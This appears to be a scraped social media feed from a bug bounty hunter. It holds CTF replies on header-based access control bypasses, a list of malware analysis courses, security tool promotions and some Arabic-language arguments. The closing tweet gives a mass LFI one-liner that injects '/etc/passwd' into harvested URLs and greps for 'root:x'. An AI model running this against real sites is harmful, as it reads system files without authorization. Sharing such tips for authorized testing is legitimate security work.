Baddi Mohammed

Bug bounty hunter (nooobie) / CTF player / Backend developer (django+flask)

[Baddi Mohammed @0xZeus_]

@black1hp Dm

[Baddi Mohammed @0xZeus_]

@black1hp حصل 🤣🤣🤣

[Baddi Mohammed @0xZeus_]

@sudo_a7med ما تقيف خالص واصل وربنا هيوفقك وقدر اجتهادك ربنا هيكافئك ❤️

[Baddi Mohammed @0xZeus_]

@NullSecurityX So you only need the target's email ? + what version?

[Baddi Mohammed @0xZeus_]

@chux13786509 The /fecth endpoit changes the host header with the one in the request i think this is host manipulation which mean you could access internal services 😅

[Baddi Mohammed @0xZeus_]

@chux13786509 /staff can be accessed once the x-forwarded-for is used and is_admin is set to true so you can access /staff endpoint easily

[Baddi Mohammed @0xZeus_]

@chux13786509 Privilege escalation by just using x-forward-for : internal ip

[Baddi Mohammed @0xZeus_]

@chux13786509 1. Broken Access Control by just setting the referer header to anything except/index.php

[Baddi Mohammed @0xZeus_]

@paradisevscom GG

[Harshleen @0xharshleen]

👾𝐌𝐚𝐥𝐰𝐚𝐫𝐞 𝐀𝐧𝐚𝐥𝐲𝐬𝐢𝐬 𝐂𝐨𝐮𝐫𝐬𝐞 👾

🌀1) Ultimate Malware Analysis by Zero2Automated
https://t.co/ZS14zfT1fs

🌀2) Practical Junior Malware Research by TCM Security
https://t.co/y6xRrCOGsY

🌀3) Giac Reverse Engineering and Malware by SANS Institute
https://t.co/yZSQzvsC1I

🌀4) Certified Malware Analyst by Ethical Hackers Academy ®
https://t.co/Y2LLQECA8f

🌀5) Malware Analysis by Red Team Hacker Academy
https://t.co/Y1qn1SPp3u

🌀6) Malware Analysis Course by Black Storm Security
https://t.co/psJpsErZjg

🌀7) Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software
https://t.co/Ui86k6K79p

🌀8) Malware Analysis Fundamentals by LetsDefend
https://t.co/mVYEGlstnT

🌀9) Malware Analysis Detection Engineering
https://t.co/Cyhy0Shl93

🌀10) Malware Analysis Master by Mandiant (part of Google Cloud)
https://t.co/ZlvsNIONNL

🌀11) CS6038/CS5138 Malware Analysis
https://t.co/OCpAY9CrjU

🌀12) Malware Analysis CSCI 4976 by RPISEC
https://t.co/Fl4tTqhO7n

🌀13) Reverse Engineering 101 by Malware Unicorn
https://t.co/Ps5tMzXgKd

🌀14) Purple Team Analyst by CyberWarFare Labs
https://t.co/3sQZKicAcz

🌀15) Hexorcist Reverse Engineering
https://t.co/Nt5ZZOcfUM

🌀16) Z0FCourse_ReverseEngineering
https://t.co/2iCwsB6NoR

🌀17) Malware Unicorn
https://t.co/Ps5tMzXgKd

🌀18) Malware and Reverse Engineering Complete Collection
https://t.co/gbDZD16Whp

🌀19) Zero day Engineering
https://t.co/zINxQrKdrS

🌀20) Reverse Engineering by LetsDefend
https://t.co/CsNMeHtPcx

🌀21) Practical Malware Analysis by Sam Bowne
https://t.co/HHMjdY1P7m

🌀22) Malware Analysis and Reverse Engineering by OA Labs
https://t.co/1C0yYROAwO

🌀24) IDA Pro Reverse Engineering Courses by Hex-Rays
https://t.co/wah4yaTdfX

🌀25) Kaspersky Malware and Reverse Engineering Course
https://t.co/ltbrVmRaO2

🌀26) Reverse Engineering with Ghidra by Hackaday
https://t.co/8uKHSD8hRR

🌀27) Malware Analysis for Incident Response by BlackPerl DFIR
https://t.co/gtt7uqsi3P

reference- LinkedIn

[The SecOps Group @TheSecOpsGroup]

🎖️ FREE Certified Network Security Practitioner (CNSP) Exam!🎖️

**No discount code needed**

Here's how to claim your offer:
1️⃣ Like and share this post.
2️⃣ Fill out this Google form: 📝https://t.co/oM5DRMpGKO
3️⃣ After submitting the form, we will email you the exam details. 💯

🔗For more information, click here:
https://t.co/F1ovV9MQkB

[Cybernetic Research @cybernetic_res]

JSFScan by @KathanP19 is a javascript recon automation tool written in bash to help you automate all sorts of checks in javascript files!

Provides wordlists as well

https://t.co/LB33XHSe0Z

#bugbountytips #bugbounty

[Baddi Mohammed @0xZeus_]

@TheUnrealRay44 والله ما عارف الفيمنست والفلهمة دي حدها وين عايني شوفي ليك حقوق وبتاع باريها العرفك شنو بالحرب انتي ، امهاتنا لما بيعملو كدا دا في حد زاتو بطولة الام هي البطلة الوحيدة البتعرف تتصرف في المواقف الصعبة ، انتي كلامك دا قوليهو لامك المافطرتك دا لو بتصومي اصلا ، ولا الصيام للرجال برضو

[Baddi Mohammed @0xZeus_]

@FatimaA69154044 الانسان دا انسان بس بني ادم ، ماف حاجة زي نسل شياطين ولا ناس ملعونين ولا ناس ربنا خلقهم كعبين ماف زول بالمواصفات دي ولو بتعرفي زول كدا انا ما بستغرب ، كونو تكوني شايفة نفسك مركز الكون دا حقك بس في الحقيقة انتي عارفة انو ما صاح وكلو وهم فشنو اصحي

[Baddi Mohammed @0xZeus_]

@FatimaA69154044 خلي في بالك حاجة انتي لو عنصرية وكرهتي زول معناتو بتكرهيهو بس ، ولو فعلا انتي بتنادي بلا للعنصرية ما كان انتظرتي حاجة زي دي تحصل وتغتنميها عشان تبيني الفي قلبك ، دارفور والوسط والشمال كلو في حاجة بتربطو ما بالضرورة تعرفيها يا انتي الحاجة بعرفوها العايشنها وانتي ما عشتيها

[Baddi Mohammed @0xZeus_]

@FatimaA69154044 مبدئيا كدا دعاءك دا خصي بيهو اهلك على اساس ربنا منتظر منك توريهو يلطف بمنو ويعذب منو ، انتي بتهتفي بهتافات ضد العنصرية وانت قلبك العنصري يا بت امي هتافك فائدتو شنو لو انتي لسة بتقولي ناس دارفور ؟ العقلية بتاعت انا ثوري وبهتف بهتافات بدون ما اعرف معناها دي ما بتنجح

[Mike Takahashi @TakSec]

Great dorks by @proviesec https://t.co/EsvoXB1ypQ

[Mike Takahashi @TakSec]

Full list of dorks: https://t.co/IErMfMY3mp

[Mustafa Adam Gamaraldin Abdalla 🇸🇩♥️ @wadgamaraldeen]

One-liner LFI :-

gau https://t.co/gj5e9MfTWp | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'

You can use your own encoded payloads.

#bugbountytips
#cybersecurity